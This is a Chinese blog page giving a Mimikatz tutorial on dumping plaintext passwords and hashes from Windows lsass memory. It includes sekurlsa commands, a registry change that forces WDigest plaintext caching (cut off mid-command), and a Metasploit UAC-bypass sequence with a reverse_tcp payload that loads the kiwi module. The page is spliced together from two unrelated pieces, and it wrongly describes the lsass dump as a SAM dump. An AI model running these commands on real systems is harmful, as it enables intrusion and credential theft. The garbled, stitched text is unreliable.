Mimikatz使用

Mimikatz是一款用于安全测试的工具,能够从lsass.exe进程中提取明文密码和哈希。本文介绍了如何修改注册表以获取Win10和2012R2以上系统的明文密码,使用Procdump+Mimikatz组合在无法直接运行Mimikatz的环境中获取密码,以及通过dcsync和ntdsutil.exe在域环境中进行哈希传递攻击和黄金票据攻击。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

简介

Mimikatz 是一款功能强大的轻量级调试神器,通过它你可以提升进程权限注入进程读取进程内存,当然他最大的亮点就是他可以直接从 lsass.exe 进程中获取当前登录系统用户名的密码, lsass是微软Windows系统的安全机制它主要用于本地安全和登陆策略,通常我们在登陆系统时输入密码之后,密码便会储存在 lsass内存中,经过其 wdigest 和 tspkg 两个模块调用后,对其使用可逆的算法进行加密并存储在内存之中, 而 mimikatz 正是通过对lsass逆算获取到明文密码!也就是说只要你不重启电脑,就可以通过他获取到登陆密码,只限当前登陆系统!

使用:

- 获取本地账号密码

#提升权限
privilege::debug

#抓取密码
sekurlsa::logonpasswords

在这里插入图片描述
当目标为win10或者2012R2以上时,默认在内存缓存中禁止保存明文密码,但可以通过修改注册表的方式抓取明文。
cmd修改注册表命令

reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWO
### Kali Linux 上 Mimikatz使用教程 #### 安装与准备 Kali Linux 是基于 Debian 的操作系统,因此可以利用 `apt` 软件包管理器来安装所需的工具。对于 Mimikatz,在较新的版本中,其功能已经被集成到了 Kiwi 模块之中[^4]。 为了确保能够顺利运行 Mimikatz 或者说 Kiwi 模块的功能,操作环境应当具有足够的权限——即 system 权限。这意味着如果通过 Metasploit Framework (MSF) 进行攻击,则需先将现有的 shell 提升至 system 级别。 #### 获取并加载 Mimikatz/Kiwi 在终端输入如下命令以启动带有 mimikatz 功能的 kiwi 模块: ```bash use exploit/windows/local/bypassuac set payload windows/x64/meterpreter/reverse_tcp exploit -j -z sessions -l sessions -i <session_id> load kiwi ``` 上述脚本假设读者正在使用 MSF 并已成功建立了一个 session。最后一行用于载入 kiwi 模块以便后续调用 mimikatz 命令。 #### 密码提取 一旦获得了适当级别的访问控制权之后,就可以尝试从内存或其他位置检索凭证信息了。例如,要转储 SAM 数据库中的散列值,可执行以下指令: ```bash privilege::debug sekurlsa::logonpasswords ``` 第一条命令赋予进程调试特权,这对于许多 mimikatz 操作来说都是必需的前提条件之一。第二条则会显示登录用户的明文密码以及哈希值(如果有),这些数据按照认证 ID、包名、域/机器名称、用户名和密码的形式被呈现出来[^5]。 请注意,这里所描述的过程仅适用于合法授权的安全测试活动当中,并且应该遵循所有适用法律及道德准则来进行实践。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值